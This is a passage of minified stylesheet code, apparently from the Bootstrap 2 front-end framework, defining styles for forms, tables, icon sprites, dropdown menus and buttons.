.input-prepend,.form-inline .input-prepend{margin-bottom:0}.form-search .radio,.form-search .checkbox,.form-inline .radio,.form-inline .checkbox{padding-left:0;margin-bottom:0;vertical-align:middle}.form-search .radio input[type="radio"],.form-search .checkbox input[type="checkbox"],.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0}.control-group{margin-bottom:10px}legend+.control-group{margin-top:20px;-webkit-margin-top-collapse:separate}.form-horizontal .control-group{margin-bottom:20px;*zoom:1}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;line-height:0;content:""}.form-horizontal .control-group:after{clear:both}.form-horizontal .control-label{float:left;width:160px;padding-top:5px;text-align:right}.form-horizontal .controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0}.form-horizontal .controls:first-child{*padding-left:180px}.form-horizontal .help-block{margin-bottom:0}.form-horizontal input+.help-block,.form-horizontal select+.help-block,.form-horizontal textarea+.help-block{margin-top:10px}.form-horizontal .form-actions{padding-left:180px}table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0}.table{width:100%;margin-bottom:20px}.table th,.table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #ddd}.table th{font-weight:bold}.table thead th{vertical-align:bottom}.table caption+thead tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child th,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child th,.table thead:first-child tr:first-child td{border-top:0}.table tbody+tbody{border-top:2px solid #ddd}.table-condensed th,.table-condensed td{padding:4px 5px}.table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.table-bordered th,.table-bordered td{border-left:1px solid #ddd}.table-bordered caption+thead tr:first-child th,.table-bordered caption+tbody tr:first-child th,.table-bordered caption+tbody tr:first-child td,.table-bordered colgroup+thead tr:first-child th,.table-bordered colgroup+tbody tr:first-child th,.table-bordered colgroup+tbody tr:first-child td,.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0}.table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child,.table-bordered tfoot:last-child tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px}.table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child,.table-bordered tfoot:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px}.table-bordered caption+thead tr:first-child th:first-child,.table-bordered caption+tbody tr:first-child td:first-child,.table-bordered colgroup+thead tr:first-child th:first-child,.table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.table-bordered caption+thead tr:first-child th:last-child,.table-bordered caption+tbody tr:first-child td:last-child,.table-bordered colgroup+thead tr:first-child th:last-child,.table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topleft:4px}.table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9}.table-hover tbody tr:hover td,.table-hover tbody tr:hover th{background-color:#f5f5f5}table [class*=span],.row-fluid table [class*=span]{display:table-cell;float:none;margin-left:0}.table .span1{float:none;width:44px;margin-left:0}.table .span2{float:none;width:124px;margin-left:0}.table .span3{float:none;width:204px;margin-left:0}.table .span4{float:none;width:284px;margin-left:0}.table .span5{float:none;width:364px;margin-left:0}.table .span6{float:none;width:444px;margin-left:0}.table .span7{float:none;width:524px;margin-left:0}.table .span8{float:none;width:604px;margin-left:0}.table .span9{float:none;width:684px;margin-left:0}.table .span10{float:none;width:764px;margin-left:0}.table .span11{float:none;width:844px;margin-left:0}.table .span12{float:none;width:924px;margin-left:0}.table .span13{float:none;width:1004px;margin-left:0}.table .span14{float:none;width:1084px;margin-left:0}.table .span15{float:none;width:1164px;margin-left:0}.table .span16{float:none;width:1244px;margin-left:0}.table .span17{float:none;width:1324px;margin-left:0}.table .span18{float:none;width:1404px;margin-left:0}.table .span19{float:none;width:1484px;margin-left:0}.table .span20{float:none;width:1564px;margin-left:0}.table .span21{float:none;width:1644px;margin-left:0}.table .span22{float:none;width:1724px;margin-left:0}.table .span23{float:none;width:1804px;margin-left:0}.table .span24{float:none;width:1884px;margin-left:0}.table tbody tr.success td{background-color:#dff0d8}.table tbody tr.error td{background-color:#f2dede}.table tbody tr.warning td{background-color:#fcf8e3}.table tbody tr.info td{background-color:#d9edf7}.table-hover tbody tr.success:hover td{background-color:#d0e9c6}.table-hover tbody tr.error:hover td{background-color:#ebcccc}.table-hover tbody tr.warning:hover td{background-color:#faf2cc}.table-hover tbody tr.info:hover td{background-color:#c4e3f3}[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}.icon-white,.nav-tabs>.active>a>[class^="icon-"],.nav-tabs>.active>a>[class*=" icon-"],.nav-pills>.active>a>[class^="icon-"],.nav-pills>.active>a>[class*=" icon-"],.nav-list>.active>a>[class^="icon-"],.nav-list>.active>a>[class*=" icon-"],.navbar-inverse .nav>.active>a>[class^="icon-"],.navbar-inverse .nav>.active>a>[class*=" icon-"],.dropdown-menu>li>a:hover>[class^="icon-"],.dropdown-menu>li>a:hover>[class*=" icon-"],.dropdown-menu>.active>a>[class^="icon-"],.dropdown-menu>.active>a>[class*=" icon-"]{background-image:url("../img/glyphicons-halflings-white.png")}.icon-glass{background-position:0 0}.icon-music{background-position:-24px 0}.icon-search{background-position:-48px 0}.icon-envelope{background-position:-72px 0}.icon-heart{background-position:-96px 0}.icon-star{background-position:-120px 0}.icon-star-empty{background-position:-144px 0}.icon-user{background-position:-168px 0}.icon-film{background-position:-192px 0}.icon-th-large{background-position:-216px 0}.icon-th{background-position:-240px 0}.icon-th-list{background-position:-264px 0}.icon-ok{background-position:-288px 0}.icon-remove{background-position:-312px 0}.icon-zoom-in{background-position:-336px 0}.icon-zoom-out{background-position:-360px 0}.icon-off{background-position:-384px 0}.icon-signal{background-position:-408px 0}.icon-cog{background-position:-432px 0}.icon-trash{background-position:-456px 0}.icon-home{background-position:0 -24px}.icon-file{background-position:-24px -24px}.icon-time{background-position:-48px -24px}.icon-road{background-position:-72px -24px}.icon-download-alt{background-position:-96px -24px}.icon-download{background-position:-120px -24px}.icon-upload{background-position:-144px -24px}.icon-inbox{background-position:-168px -24px}.icon-play-circle{background-position:-192px -24px}.icon-repeat{background-position:-216px -24px}.icon-refresh{background-position:-240px -24px}.icon-list-alt{background-position:-264px -24px}.icon-lock{background-position:-287px -24px}.icon-flag{background-position:-312px -24px}.icon-headphones{background-position:-336px -24px}.icon-volume-off{background-position:-360px -24px}.icon-volume-down{background-position:-384px -24px}.icon-volume-up{background-position:-408px -24px}.icon-qrcode{background-position:-432px -24px}.icon-barcode{background-position:-456px -24px}.icon-tag{background-position:0 -48px}.icon-tags{background-position:-25px -48px}.icon-book{background-position:-48px -48px}.icon-bookmark{background-position:-72px -48px}.icon-print{background-position:-96px -48px}.icon-camera{background-position:-120px -48px}.icon-font{background-position:-144px -48px}.icon-bold{background-position:-167px -48px}.icon-italic{background-position:-192px -48px}.icon-text-height{background-position:-216px -48px}.icon-text-width{background-position:-240px -48px}.icon-align-left{background-position:-264px -48px}.icon-align-center{background-position:-288px -48px}.icon-align-right{background-position:-312px -48px}.icon-align-justify{background-position:-336px -48px}.icon-list{background-position:-360px -48px}.icon-indent-left{background-position:-384px -48px}.icon-indent-right{background-position:-408px -48px}.icon-facetime-video{background-position:-432px -48px}.icon-picture{background-position:-456px -48px}.icon-pencil{background-position:0 -72px}.icon-map-marker{background-position:-24px -72px}.icon-adjust{background-position:-48px -72px}.icon-tint{background-position:-72px -72px}.icon-edit{background-position:-96px -72px}.icon-share{background-position:-120px -72px}.icon-check{background-position:-144px -72px}.icon-move{background-position:-168px -72px}.icon-step-backward{background-position:-192px -72px}.icon-fast-backward{background-position:-216px -72px}.icon-backward{background-position:-240px -72px}.icon-play{background-position:-264px -72px}.icon-pause{background-position:-288px -72px}.icon-stop{background-position:-312px -72px}.icon-forward{background-position:-336px -72px}.icon-fast-forward{background-position:-360px -72px}.icon-step-forward{background-position:-384px -72px}.icon-eject{background-position:-408px -72px}.icon-chevron-left{background-position:-432px -72px}.icon-chevron-right{background-position:-456px -72px}.icon-plus-sign{background-position:0 -96px}.icon-minus-sign{background-position:-24px -96px}.icon-remove-sign{background-position:-48px -96px}.icon-ok-sign{background-position:-72px -96px}.icon-question-sign{background-position:-96px -96px}.icon-info-sign{background-position:-120px -96px}.icon-screenshot{background-position:-144px -96px}.icon-remove-circle{background-position:-168px -96px}.icon-ok-circle{background-position:-192px -96px}.icon-ban-circle{background-position:-216px -96px}.icon-arrow-left{background-position:-240px -96px}.icon-arrow-right{background-position:-264px -96px}.icon-arrow-up{background-position:-289px -96px}.icon-arrow-down{background-position:-312px -96px}.icon-share-alt{background-position:-336px -96px}.icon-resize-full{background-position:-360px -96px}.icon-resize-small{background-position:-384px -96px}.icon-plus{background-position:-408px -96px}.icon-minus{background-position:-433px -96px}.icon-asterisk{background-position:-456px -96px}.icon-exclamation-sign{background-position:0 -120px}.icon-gift{background-position:-24px -120px}.icon-leaf{background-position:-48px -120px}.icon-fire{background-position:-72px -120px}.icon-eye-open{background-position:-96px -120px}.icon-eye-close{background-position:-120px -120px}.icon-warning-sign{background-position:-144px -120px}.icon-plane{background-position:-168px -120px}.icon-calendar{background-position:-192px -120px}.icon-random{width:16px;background-position:-216px -120px}.icon-comment{background-position:-240px -120px}.icon-magnet{background-position:-264px -120px}.icon-chevron-up{background-position:-288px -120px}.icon-chevron-down{background-position:-313px -119px}.icon-retweet{background-position:-336px -120px}.icon-shopping-cart{background-position:-360px -120px}.icon-folder-close{background-position:-384px -120px}.icon-folder-open{width:16px;background-position:-408px -120px}.icon-resize-vertical{background-position:-432px -119px}.icon-resize-horizontal{background-position:-456px -118px}.icon-hdd{background-position:0 -144px}.icon-bullhorn{background-position:-24px -144px}.icon-bell{background-position:-48px -144px}.icon-certificate{background-position:-72px -144px}.icon-thumbs-up{background-position:-96px -144px}.icon-thumbs-down{background-position:-120px -144px}.icon-hand-right{background-position:-144px -144px}.icon-hand-left{background-position:-168px -144px}.icon-hand-up{background-position:-192px -144px}.icon-hand-down{background-position:-216px -144px}.icon-circle-arrow-right{background-position:-240px -144px}.icon-circle-arrow-left{background-position:-264px -144px}.icon-circle-arrow-up{background-position:-288px -144px}.icon-circle-arrow-down{background-position:-312px -144px}.icon-globe{background-position:-336px -144px}.icon-wrench{background-position:-360px -144px}.icon-tasks{background-position:-384px -144px}.icon-filter{background-position:-408px -144px}.icon-briefcase{background-position:-432px -144px}.icon-fullscreen{background-position:-456px -144px}.dropup,.dropdown{position:relative}.dropdown-toggle{*margin-bottom:-3px}.dropdown-toggle:active,.open .dropdown-toggle{outline:0}.caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.dropdown .caret{margin-top:8px;margin-left:2px}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.dropdown-menu a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap}.dropdown-menu li>a:hover,.dropdown-menu li>a:focus,.dropdown-submenu:hover>a{color:#fff;text-decoration:none;background-color:#08c;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0)}.dropdown-menu .active>a,.dropdown-menu .active>a:hover{color:#fff;text-decoration:none;background-color:#08c;background-color:#0081c2;background-image:linear-gradient(to bottom,#08c,#0077b3);background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-repeat:repeat-x;outline:0;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0)}.dropdown-menu .disabled>a,.dropdown-menu .disabled>a:hover{color:#999}.dropdown-menu .disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.open{*z-index:1000}.open>.dropdown-menu{display:block}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid #000;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}.dropdown-submenu{position:relative}.dropdown-submenu>.dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px}.dropdown-submenu:hover>.dropdown-menu{display:block}.dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#ccc;border-style:solid;border-width:5px 0 5px 5px;content:" "}.dropdown-submenu:hover>a:after{border-left-color:#fff}.dropdown .dropdown-menu .nav-header{padding-right:20px;padding-left:20px}.typeahead{margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.collapse.in{height:auto}.close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.btn{display:inline-block;*display:inline;padding:4px 14px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;*line-height:20px;color:#333;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(to bottom,#fff,#e6e6e6);background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #bbb;*border:0;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffffffff',endColorstr='#ffe6e6e6',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover{color:#333;text-decoration:none;background-color:#e6e6e6;*background-color:#d9d9d9;background-position:0 -15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-color:#e6e6e6;background-color:#d9d9d9 \9;background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn.disabled,.btn[disabled]{cursor:default;background-color:#e6e6e6;background-image:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-large{padding:9px 14px;font-size:16px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.btn-large [class^="icon-"]{margin-top:2px}.btn-small{padding:3px 9px;font-size:12px;line-height:18px}.btn-small [class^="icon-"]{margin-top:0}.btn-mini{padding:2px 6px;font-size:11px;line-height:17px}.btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-inverse.active{color:rgba(255,255,255,0.75)}.btn{border-color:#c5c5c5;border-color:rgba(0,0,0,0.15) rgba(0,0,0,0.15) rgba(0,0,0,0.25)}.btn-primary{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#006dcc;*background-color:#04c;background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to bottom,#08c,#04c);background-image:-moz-linear-gradient(top,#08c,#04c);background-repeat:repeat-x;border-color:#04c #04c #002a80;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0044cc',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3}.btn-primary:active,.btn-primary.active{background-color:#039 \9}.btn-warning{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#faa732;*background-color:#f89406;background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{color:#fff;background-color:#f89406;*background-color:#df8505}.btn-warning:active,.btn-warning.active{background-color:#c67605 \9}.btn-danger{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#da4f49;*background-color:#bd362f;background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to bottom,#ee5f5b,#bd362f);background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffbd362f',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a}.btn-danger:active,.btn-danger.active{background-color:#942a25 \9}.btn-success{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#5bb75b;*background-color:#51a351;background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to bottom,#62c462,#51a351);background-image:-moz-linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff51a351',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{color:#fff;background-color:#51a351;*background-color:#499249}.btn-success:active,.btn-success.active{background-color:#408140 \9}.btn-info{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(to bottom,#5bc0de,#2f96b4);background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff2f96b4',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{color:#fff;background-color:#2f96b4;*background-color:#2a85a0}.btn-info:active,.btn-info.active{background-color:#24748c \9}.btn-inverse{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#363636;*background-color:#222;background-image:-webkit-gradient(linear,0 0,0 100%,from(#444),to(#222));background-image:-webkit-linear-gradient(top,#444,#222);background-image:-o-linear-gradient(top,#444,#222);background-image:linear-gradient(to bottom,#444,#222);background-image:-moz-linear-gradient(top,#444,#222);background-repeat:repeat-x;border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff444444',endColorstr='#ff222222',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{color:#fff;background-color:#222;*background-color:#151515}.btn-inverse:active,.btn-inverse.active{background-color:#080808 \9}button.btn,input[type="submit"].btn{*padding-top:3px;*padding-bottom:3px}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0}button.btn.btn-large,input[type="submit"].btn.btn-large{*padding-top:7px;*padding-bottom:7px}button.btn.btn-small,input[type="submit"].btn.btn-small{*padding-top:3px;*padding-bottom:3px}button.btn.btn-mini,input[type="submit"].btn.btn-mini{*padding-top:1px;*padding-bottom:1px}.btn-link,.btn-link:active,.btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-link{color:#08c;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover{color:#333;text-decoration:none}.btn-group{position:relative;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle}.btn-group:first-child{*margin-left:0}.btn-group+.btn-group{margin-left:5px}.btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0}.btn-toolbar .btn-group{display:inline-block;*display:inline;*zoom:1}.btn-toolbar .btn+.btn,.btn-toolbar .btn-group+.btn,.btn-toolbar .btn+.btn-group{margin-left:5px}.btn-group>.btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group>.btn+.btn{margin-left:-1px}.btn-group>.btn,.btn-group>.dropdown-menu{font-size:14px}.btn-group>.btn-mini{font-size:11px}.btn-group>.btn-small{font-size:12px}.btn-group>.btn-large{font-size:16px}.btn-group>.btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.btn-group>.btn:last-child,.btn-group>.dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.btn-group>.btn.large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active{z-index:2}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn-group>.btn-mini+.dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px}.btn-group>.btn-small+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px}.btn-group>.btn-large+.dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px}.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn-group.open .btn.dropdown-toggle{background-color:#e6e6e6}.btn-group.open .btn-primary.dropdown-toggle{background-color:#04c}.btn-group.open .btn-warning.dropdown-toggle{background-color:#f89406}.btn-group.open .btn-danger.dropdown-toggle{background-color:#bd362f}.btn-group.open .btn-success.dropdown-toggle{background-color:#51a351}.btn-group.open 